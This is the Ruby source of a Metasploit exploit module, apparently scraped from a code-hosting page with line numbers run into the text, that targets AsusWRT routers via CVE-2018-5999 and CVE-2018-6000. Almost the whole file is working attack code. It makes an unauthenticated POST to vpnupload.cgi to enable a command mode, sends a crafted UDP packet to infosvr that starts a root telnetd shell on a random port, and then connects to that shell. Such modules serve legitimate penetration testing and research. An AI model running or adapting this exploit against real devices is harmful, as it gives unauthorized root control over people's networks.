Path: blob/master/modules/exploits/linux/http/asuswrt_lan_rce.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',16'Description' => %q{17The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to18perform a POST in certain cases. This can be combined with another vulnerability in19the VPN configuration upload routine that sets NVRAM configuration variables directly20from the POST request to enable a special command mode.21This command mode can then be abused by sending a UDP packet to infosvr, which is running22on port UDP 9999 to directly execute commands as root.23This exploit leverages that to start telnetd in a random port, and then connects to it.24It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.25},26'Author' => [27'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],32['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],33['URL', 'https://seclists.org/fulldisclosure/2018/Jan/78'],34['CVE', '2018-5999'],35['CVE', '2018-6000']36],37'Targets' => [38[39'AsusWRT < v3.0.0.4.384.10007',40{41'Payload' =>42{43'Compat' => {44'PayloadType' => 'cmd_interact',45'ConnectionType' => 'find',46},47},48}49],50],51'Privileged' => true,52'Platform' => 'unix',53'Arch' => ARCH_CMD,54'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },55'DisclosureDate' => '2018-01-22',56'DefaultTarget' => 0,57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62)63)64register_options(65[66Opt::RPORT(9999)67]68)6970register_advanced_options(71[72OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])73]74)75end7677def exploit78# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD79# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!80post_data = Rex::MIME::Message.new81post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")8283data = post_data.to_s8485res = send_request_cgi({86'uri' => "/vpnupload.cgi",87'method' => 'POST',88'rport' => datastore['ASUSWRTPORT'],89'data' => data,90'ctype' => "multipart/form-data; boundary=#{post_data.bound}"91})9293if res and res.code == 20094print_good("#{peer} - Successfully set the ateCommand_flag variable.")95else96fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")97end9899# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.100info_pdu_size = 512 # expected packet size, not sure what the extra bytes are101r = Random.new102103ibox_comm_pkt_hdr_ex =104[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC105[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15106[0x33, 0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33107r.bytes(4) + # Info, don't know what this is108r.bytes(6) + # MAC address109r.bytes(32) # Password110111telnet_port = rand((2**16) - 1024) + 1024112cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')113pkt_syscmd =114[cmd.length, 0x00].pack('C*') + # cmd length115cmd # our command116117pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)118119connect_udp120udp_sock.put(pkt_final) # we could process the response, but we don't care121disconnect_udp122123print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")124sleep(10)125126begin127ctx = { 'Msf' => framework, 'MsfExploit' => self }128sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })129if not sock.nil?130print_good("#{peer} - Success, shell incoming!")131return handler(sock)132end133rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e134sock.close if sock135end136137print_bad("#{peer} - Well that didn't work... try again?")138end139end140141142